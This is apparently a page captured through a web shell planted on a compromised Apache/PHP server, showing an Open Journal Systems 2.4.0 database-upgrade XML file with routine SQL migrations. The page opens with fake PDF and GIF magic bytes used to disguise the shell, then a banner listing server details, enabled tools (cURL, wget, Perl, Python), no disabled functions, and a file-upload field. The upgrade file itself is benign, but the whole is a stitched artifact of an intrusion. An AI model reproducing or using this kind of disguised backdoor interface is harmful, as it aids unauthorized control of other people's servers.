%PDF-1.7 GIF89;
| Server IP : 172.66.157.178 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/dbscripts/xml/upgrade/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "../../../lib/pkp/dtd/xmlData.dtd">
<!--
* 2.4.0_update.xml
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* 2.4.0 database updates XML file.
-->
<data>
<!-- Bug #6021: port logs to pkp-lib -->
<sql>
<!--
- Migrate article_event_log contents into event_log.
- We temporarily store old log_id in assoc_type so we can keep it for
- use in event_log_settings. Note that we can't keep the old log_id
- because it would potentially cause insert problems for the new
- implicit sequence, so we store old log IDs for audit purposes in
- event_log_settings and use new automatically-generated log IDs.
-->
<query>INSERT INTO event_log (assoc_type, assoc_id, user_id, date_logged, ip_address, event_type, message, is_translated) SELECT log_id, article_id, user_id, date_logged, ip_address, event_type, message, 1 FROM article_event_log</query>
<query>INSERT INTO event_log_settings (log_id, setting_name, setting_value, setting_type) SELECT log_id, 'old_log_id', assoc_type, 'int' FROM event_log</query>
<query>INSERT INTO event_log_settings (log_id, setting_name, setting_value, setting_type) SELECT n.log_id, 'assoc_type', o.assoc_type, 'int' FROM event_log n, article_event_log o WHERE o.assoc_id IS NOT NULL AND o.assoc_id <> 0 AND n.assoc_type = o.log_id</query>
<query>INSERT INTO event_log_settings (log_id, setting_name, setting_value, setting_type) SELECT n.log_id, 'assoc_id', o.assoc_id, 'int' FROM event_log n, article_event_log o WHERE o.assoc_id IS NOT NULL AND o.assoc_id <> 0 AND n.assoc_type = o.log_id</query>
<query>UPDATE event_log SET assoc_type = 257</query><!-- ASSOC_TYPE_ARTICLE -->
<query>DROP TABLE article_event_log</query>
<!-- Migrate article_email_log contents to email_log -->
<query>UPDATE email_log SET assoc_type = 257</query><!-- ASSOC_TYPE_ARTICLE -->
</sql>
<sql>
<!--
Enable the new DOI plug-in for all journals that have a DOI prefix set. (Setting a prefix was the prior method to enable DOIs.)
NB: We maintain idempotency by left-joining to the plugin settings table and only inserting the
new value if there is no existing value for this journal, plugin and setting.
-->
<query>INSERT INTO plugin_settings (plugin_name, locale, journal_id, setting_name, setting_value, setting_type) SELECT 'doipubidplugin', '', js.journal_id, 'enabled', '1', 'bool' FROM journal_settings js LEFT JOIN plugin_settings ps ON js.journal_id = ps.journal_id AND ps.plugin_name = 'doipubidplugin' AND ps.setting_name = 'enabled' WHERE js.setting_name = 'doiPrefix' AND js.setting_value != '' AND ps.plugin_name IS NULL</query>
<query>INSERT INTO plugin_settings (plugin_name, locale, journal_id, setting_name, setting_value, setting_type) SELECT 'doipubidplugin', '', js.journal_id, 'enableArticleDoi', '1', 'bool' FROM journal_settings js LEFT JOIN plugin_settings ps ON js.journal_id = ps.journal_id AND ps.plugin_name = 'doipubidplugin' AND ps.setting_name = 'enableArticleDoi' WHERE js.setting_name = 'doiPrefix' AND js.setting_value != '' AND ps.plugin_name IS NULL</query>
<!-- Copy all existing DOI configuration from the journal settings table to the plugin settings table. -->
<query>INSERT INTO plugin_settings(plugin_name, locale, journal_id, setting_name, setting_value, setting_type) SELECT 'doipubidplugin', '', journal_id, setting_name, setting_value, setting_type FROM journal_settings WHERE setting_name IN ('doiPrefix', 'doiSuffix')</query>
<query>INSERT INTO plugin_settings(plugin_name, locale, journal_id, setting_name, setting_value, setting_type) SELECT 'doipubidplugin', '', journal_id, 'doiArticleSuffixPattern', setting_value, setting_type FROM journal_settings WHERE setting_name = 'doiSuffixPattern'</query>
<!-- Delete all existing DOI configuration from the journal settings table. -->
<query>DELETE FROM journal_settings WHERE setting_name IN ('doiPrefix', 'doiSuffix', 'doiSuffixPattern')</query>
</sql>
<!-- default site settings -->
<sql>
<query>INSERT INTO site_settings (setting_name, setting_value, setting_type, locale) SELECT 'showThumbnail', 'true', 'bool', '' FROM mutex LEFT OUTER JOIN site_settings ON site_settings.setting_name = 'showThumbnail' WHERE mutex.i = 1 AND site_settings.setting_name IS NULL</query>
<query>INSERT INTO site_settings (setting_name, setting_value, setting_type, locale) SELECT 'showTitle', 'true', 'bool', '' FROM mutex LEFT OUTER JOIN site_settings ON site_settings.setting_name = 'showTitle' WHERE mutex.i = 1 AND site_settings.setting_name IS NULL</query>
<query>INSERT INTO site_settings (setting_name, setting_value, setting_type, locale) SELECT 'showDescription', 'true', 'bool', '' FROM mutex LEFT OUTER JOIN site_settings ON site_settings.setting_name = 'showDescription' WHERE mutex.i = 1 AND site_settings.setting_name IS NULL</query>
</sql>
</data>